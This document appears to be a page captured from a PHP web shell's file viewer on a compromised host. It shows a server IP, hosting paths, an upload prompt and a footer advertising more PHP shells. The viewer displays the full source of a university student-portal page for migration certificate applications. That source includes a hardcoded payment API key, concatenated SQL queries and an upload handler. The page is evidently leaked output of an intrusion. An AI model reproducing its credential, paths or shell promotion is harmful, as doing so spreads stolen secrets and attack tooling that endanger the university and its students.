Domain: amberpublishers.in
Server Adress: 86.38.243.169

privdayz.com

/home/u866425823/domains/sugam.kmclu.ac.in/public_html/student/
Dosya Yükle :
Current File : /home/u866425823/domains/sugam.kmclu.ac.in/public_html/student/migration_apply.php

<?php
require('Common/Header.php');
$enroll_no = $f_s_d['enroll_no'];
$fee = 0;
$date = date('Y-m-d');
$time = date('H:i:s');
$certi_name = "Migration";
if (isset($_POST['apply'])) {
    $migration_reason = htmlentities(realEscape('migration_reason'));
    $file = $_FILES['file']['name'];
    $file_tmp = $_FILES['file']['tmp_name'];
    
    if (file_format($file, $img_format)) {
        $check = mysqli_query($conn, "SELECT * FROM `certificatedata` where enroll_no = '$enroll_no' and certi_name = '$certi_name'");
        if (mysqli_num_rows($check) == 0) {

            $uid = uid_generator();
            $new_file_name =  new_fileName($file);
            $insert = "INSERT INTO `certificatedata`(`certi_id`,`enroll_no`, `certi_name`, `date`, `time`, `fee`,`migration_reason`,`l_sem_marksheet`,`status`) 
            VALUES ('$uid','$enroll_no','$certi_name','$date','$time','$fee','$migration_reason','$new_file_name', 'Pending')";
            if (mysqli_query($conn, $insert)) {
                move_uploaded_file($file_tmp, '../Files/student/' . $new_file_name);
                SuccessFun('Application Submitted Successfully');
            } else {
                DangerFun('Application Failed');
            }
        } else {
            DangerFun('Application already submitted');
        }
    } else {
        DangerFun('Invalid File Format');
    }
}

// fee status
$checkMigrationData = mysqli_query($conn, "SELECT * FROM `certificatedata` where enroll_no = '$enroll_no' and certi_name = 'Migration'");
if (mysqli_num_rows($checkMigrationData) > 0) {
    $getMigrationFee = mysqli_fetch_assoc($checkMigrationData);
    if ($getMigrationFee['fee'] == 0) {
        $migration_response = paymentVerification($f_s_d['roll_no'], 'Migration');
        if ($migration_response['payment_status'] == 'Success') {
            $migration_db_colid = $getMigrationFee['col_id'];
            $updateMigration = "UPDATE `certificatedata` SET `fee`='500' WHERE col_id = '$migration_db_colid'";
            mysqli_query($conn, $updateMigration);
        }
    }
}


?>

<!-- Content Wrapper -->

<!-- ----------Top bar start------------  -->


<!-- ----------Top bar End------------  -->

<!-- Begin Page Content -->
<div class="container-fluid">
    <div class="card shadow">
        <div class="card-header ">
            <h4 class="text-primary font-weight-bold" style="font-size:20px"> Apply for <?php echo $certi_name ?></h4>
        </div>
        <div class="card-body overflow-auto">

            <?php
            //  check if migration applied or not 
            $checkMigrationData = mysqli_query($conn, "SELECT * FROM `certificatedata` where enroll_no = '$enroll_no' and certi_name = '$certi_name'");
            if (mysqli_num_rows($checkMigrationData) == 0) {
            ?>
                <table class="table table-bordered">
                    <tr>
                        <th>Full Name</th>
                        <td><?php echo $f_s_d['full_name'] ?></td>
                    </tr>
                    <tr>
                        <th>Father Name</th>
                        <td><?php echo $f_s_d['father'] ?></td>
                    </tr>
                    <tr>
                        <th>Mother Name</th>
                        <td><?php echo $f_s_d['mother'] ?></td>
                    </tr>
                    <tr>
                        <th>Enrollement Number</th>
                        <td><?php echo $f_s_d['enroll_no'] ?></td>
                    </tr>
                    <tr>
                        <th>Roll Number</th>
                        <td><?php echo $f_s_d['roll_no'] ?></td>
                    </tr>
                    <tr>
                        <th>Course</th>
                        <td><?php echo $f_s_d['course'] ?></td>
                    </tr>
                    <tr>
                        <th>Email</th>
                        <td><?php echo $f_s_d['email'] ?></td>
                    </tr>
                </table>
        </div>
        <div class="card-footer">
            <form method="POST" enctype="multipart/form-data">
                <div class="row mb-5">
                    <div class="col-lg-6 col-12 mb-3 ">
                        <label class="form-label label-color">Last Semester Marksheet</label>
                        <input type="file" name="file" accept="image/*" class="form-control" required>
                    </div>
                    <div class="col-lg-6 col-12 mb-3 ">
                        <label class="form-label label-color">Date Of Leaving University</label>
                        <input type="date" name="date" class="form-control" required>
                    </div>
                    <div class="col-lg-12 col-12 mb-3 ">
                        <label class="form-label label-color">Reason for withdrawal of Migration ( max:250 )</label>
                        <textarea name="migration_reason" class="form-control" required maxlength="250"></textarea>
                    </div>
                    <div class="col-12 mb-3 text-center">
                        <button type="submit" name="apply" class="btn btn-info">Apply</button>
                    </div>
                </div>
            </form>
        </div>

        <?php
            } else {

                $fetchMigrationData = mysqli_fetch_assoc($checkMigrationData);
                if ($fetchMigrationData['fee'] == 0) {
                    DangerFun('Application Fee Pending. ');
        ?>
            <form method="POST" action="https://www.kmcluerp.in/fees-portal/srcadmis/srcadmisdata.php">
                <!-- application fee submittion -->
                <input type="hidden" name="api_key" value="HASH669SRC">
                <input type="hidden" name="roll_number" value="<?php echo $f_s_d['roll_no'] ?>">
                <input type="hidden" name="student_name" value="<?php echo $f_s_d['full_name'] ?>">
                <input type="hidden" name="course_fee" value="500">
                <input type="hidden" name="enrollment_number" value="<?php echo $f_s_d['enroll_no'] ?>">
                <input type="hidden" name="fee_type" value="<?php echo $certi_name ?>">
                <button type="submit" name="paynow" class="btn btn-info">Pay Now</button>
            </form>
    <?php
                } else {
                    SuccessFun('Application submitted.');
                }
            }
    ?>
    </div>
</div>
<?php require('Common/Footer.php') ?>
<script>
    window.addEventListener("contextmenu", (function(e) {
        e.preventDefault()
    }), !1), document.onkeydown = function(e) {
        return 123 != event.keyCode && ((!e.ctrlKey || !e.shiftKey || e.keyCode != "I".charCodeAt(0)) && ((!e.ctrlKey || !e.shiftKey || e.keyCode != "C".charCodeAt(0)) && ((!e.ctrlKey || !e.shiftKey || e.keyCode != "J".charCodeAt(0)) && ((!e.ctrlKey || e.keyCode != "U".charCodeAt(0)) && void 0))))
    }
</script>
</body>

</html>

coded by Privdayz.com - Visit https://privdayz.com/ for more php shells.